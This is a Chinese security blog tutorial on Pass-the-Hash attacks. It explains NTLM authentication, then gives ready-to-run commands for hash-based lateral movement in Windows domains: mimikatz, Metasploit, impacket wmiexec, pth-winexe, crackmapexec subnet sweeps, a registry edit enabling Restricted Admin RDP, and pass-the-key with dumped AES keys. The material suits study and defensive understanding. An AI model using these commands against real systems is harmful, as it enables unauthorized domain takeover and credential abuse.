多姿势的PTH攻击

admin 2021年12月22日00:59:49评论127 views字数 3794阅读12分38秒阅读模式

前言

PTH攻击在内网横向中利用广泛,今天给大家从NTLM原理,到PTH在内网横向中的利用,进一步的认识PTH攻击手法。认识PTH之前,先来了解一下与PTH攻击相关的NTLM认证原理。

多姿势的PTH攻击
文章流程:

NTLM认证流程
PTH多方式利用
批量PTH
PTH3389
PTK
总结

NTLM认证原理(参考与csdn)NTLM 在域环境中的认证程:Challenge/Response 验证机制质询(Chalenge)/响应(Response)认证机制的核心

认证步骤:

第一阶段:

多姿势的PTH攻击


用户通过输入Windows帐号和密码登录客户端主机。在登录之前,客户端会缓存输入密码的哈希值,原始密码会被丢弃,成功登录客户端Windows的用户如果试图访问服务器资源,需要向对方发送一个请求。该请求中包含一个以明文表示的用户名

第二阶段:

多姿势的PTH攻击


服务器接收到请求后,生成一个16位的随机数。这个随机数被称为Challenge(挑战,质询)。服务器在将该Challenge发送给客户端之前,该Challenge会先被保存起来。Challenge是以明文的形式发送的。

第三阶段:

多姿势的PTH攻击


客户端在接收到服务器发回的Challenge后,用在步骤一中保存的密码哈希值对其加密,这个密码哈希值就是NTLM-hash然后再将加密后的Challenge发送给服务器。并与用户名、Challenge 等一起组合得到 Net-NTLMHash,最后将 Net NTLM-Hash 封装到TYPE 3 ,发往服务端,这个步骤称为应答 (Response)。

第四阶段:

多姿势的PTH攻击


服务器接收到客户端发送回来的加密后的Challenge后,会向DC(Domain)发送针对客户端的验证请求。该请求主要包含以下三方面的内容:客户端用户名;客户端密码哈希值加密的Challenge和原始的Challenge。

最后:

DC根据用户名获取该帐号的密码哈希值,对原始的Challenge进行加密。如果加密后的Challenge和服务器发送的一致,则意味着用户拥有正确的密码,验证通过,否则验证失败。DC将验证结果发给服务器,并最终反馈给客户端。

多姿势的PTH攻击
认识一下PTH:

哈希传递(Pass The Hash)攻击简称 PTH,该方法通过找到与账户相关的密码散列值(NTLM Hash)来进行攻击。由于在  Windows 系统 NTLM 认证的 TYPE 3 消息计算 Response 的时候,客户端是使用用户的 NTLM Hash  进行计算的,而不是用户密码进行计算的

这里就是PTH攻击的利用步骤,他不是个漏洞,他是在ntlm认证第三阶段时候,正常的认证流程,ntlm认证在第三阶段不是用明文密码加密challenge的,是用NTLM-hashPTH攻击适用于:

  1. 域/工作组环境

  2. 可以获得hash,但是条件不允许对hash爆破(解不开hash)

  3. 内网中存在和当前机器相同的密码 (可以批量PTH)


PTH常用攻击方式:

mimikatz进行PTH

mimikatz 在域环境中的 PTH横到域控:

前提是域内任意一台主机的本地管理员权限和域管理员密码的NTLM hash值,可进行pth攻击

简单利用:

假设咱们抓出来的域管NTLM哈希解不开

这时候可以利用mimikatz尝试PTH攻击

多姿势的PTH攻击


sekurlsa::pth /user:administrator /domain:tubai.com /ntlm:2b07f7b579bb97532a9eb37753765d8f

利用成功便会弹出框

dir 192.168.52.129c$

多姿势的PTH攻击


MSF中也早已集成了PTH的方法:

这里的LM哈希是NTLM哈希认证的前身,只不过因为安全问题被NTLM取代了,有些工具需要填写我们可以原样填写,或者用00000000代替即可。

多姿势的PTH攻击

多姿势的PTH攻击


成功便弹回shell上面的模块特征过于明显,可以利用msf稍微隐秘一点的模块

多姿势的PTH攻击



利用msf稍微隐秘的PTH

执行特定的命令然后就退出,另外还需要一个参数,就是在远程机器上执行的命令

use admin/smb/psexec_commandset rhosts 192.168.52.129set subdomain tubai.comset smbuser administratorset smbpass 00000000000000000000000000000000:2b07f7b579bb97532a9eb37753765d8fset command hostnamerun


impacket套件中的wmiexec可以PTH:

wmiexec.exe -hashes LM哈希:NTLM哈希 域名/用户名@目标IP

wmiexec.exe -hashes e52cac67419a9a22a67a448822b50c99:2b07f7b579bb97532a9eb37753765d8f tubai/administrator@192.168.52.129


多姿势的PTH攻击


kali中也有自带工具可以PTH:

pth-winexe

多姿势的PTH攻击

pth-winexe -U tubai/administrator%e52cac67419a9a22a67a448822b50c99:2b07f7b579bb97532a9eb37753765d8f --system --ostype=1 //192.168.52.129 cmd

方式很多,但遵循的原理就那一个。

多姿势的PTH攻击
批量PTH

在域环境中,用户登录计算机时使用的大都是域账号,大量计算机在安装时会使用相同的本地管理员账号和密码。因此,如果计算机的本地管理员账号和密码也是相同的,攻击者就可以使用哈希传递的方法登录到内网主机的其他计算机.

powershell脚本批量PTH:

多姿势的PTH攻击


https://github.com/Kevin-Robertson/Invoke-TheHash本地加载后使用

Import-Module .Invoke-WMIExec.ps1 Import-Module .Invoke-TheHash.ps1




crackmapexec批量PTH:

多姿势的PTH攻击

crackmapexec smb 192.168.52.0/24 -u administrator -H 2b07f7b579bb97532a9eb37753765d8f -d tubai.com -x hostname

msf中也可以,改一下RHOSTS为整个段即可,方式很多。

多姿势的PTH攻击
PTH对方机器的3389服务

利用苛刻。

前提条件:需要目标机器的本地管理员权限

开启Restricted Admin mode适用系统:

高版本只支持 Windows 8.1和Windows Server 2012 R2 默认开启Restricted Admin mode

低版本需要打补丁, Windows 7 和Windows Server 2008 R2 默认不支持,需要安装补丁2871997、2973351

默认没开启的话可以改注册表开启Restricted Admin mode:

REG ADD HKLMSystemCurrentControlSetControlLsa /v DisableRestrictedAdmin /t REG_DWORD /d 00000000 /f


将已经获得的hash注入至mstsc进程中::

sekurlsa::pth /user:administrator /domain:tubai.com /ntlm:2b07f7b579bb97532a9eb37753765d8f "/run:mstsc.exe /restrictedadmin"


多姿势的PTH攻击
PTK

如果hash的ntlm hash,然后加密方式是rc4,这种就算做是pass the hash,如果是hash是aes key(使用sekurlsa::ekeys导出来),就算是pass the key。在很多地方,不支持rc4加密方式的时候,使用pass the key不失为一种好方法。

安装补丁kb2871997的Win 7/2008r2/8/2012等,可以使用AES keys代替NT hash来实现ptk攻击。

前提条件:只适用于域环境,并且目标主机需要安装 KB2871997补丁

mimkatz抓AES keys密钥

mimikatz "privilege::debug" "sekurlsa::ekeys"

导入

mimikatz "privilege::debug" "sekurlsa::pth /user:win7 /domain:tubai.com /aes256:c4388a1fb9bd65a88343a32c09e53ba6c1ead4de8a17a442e819e98c522fc288"


多姿势的PTH攻击
补丁限制:kb2871997

多姿势的PTH攻击


对PTH攻击做了限制的补丁,他使本地账号不再用于远程接入系统。

kb2871997对于本地Administrator(rid为500,操作系统只认rid不认用户名)和本地管理员组的域用户是没有影响的。

参考:

https://my.oschina.net/u/4327596/blog/3426286
https://blog.csdn.net/Gamma_lab/article/details/118335958

总结:PTH是内网横向最常用的方式,利用的攻击思路也很多,远远不止给大家分享的这些。各位师傅要是有更多的利用姿势可以一起交流学习!今天给大家从ntlm认证原理到PTH在横向中多姿势利用做了总结,比较全面的汇总了PTH在内网横向中的各种手段。


本文始发于微信公众号(WhITECat安全团队):多姿势的PTH攻击

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2021年12月22日00:59:49
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   多姿势的PTH攻击https://cn-sec.com/archives/452908.html

发表评论

匿名网友 填写信息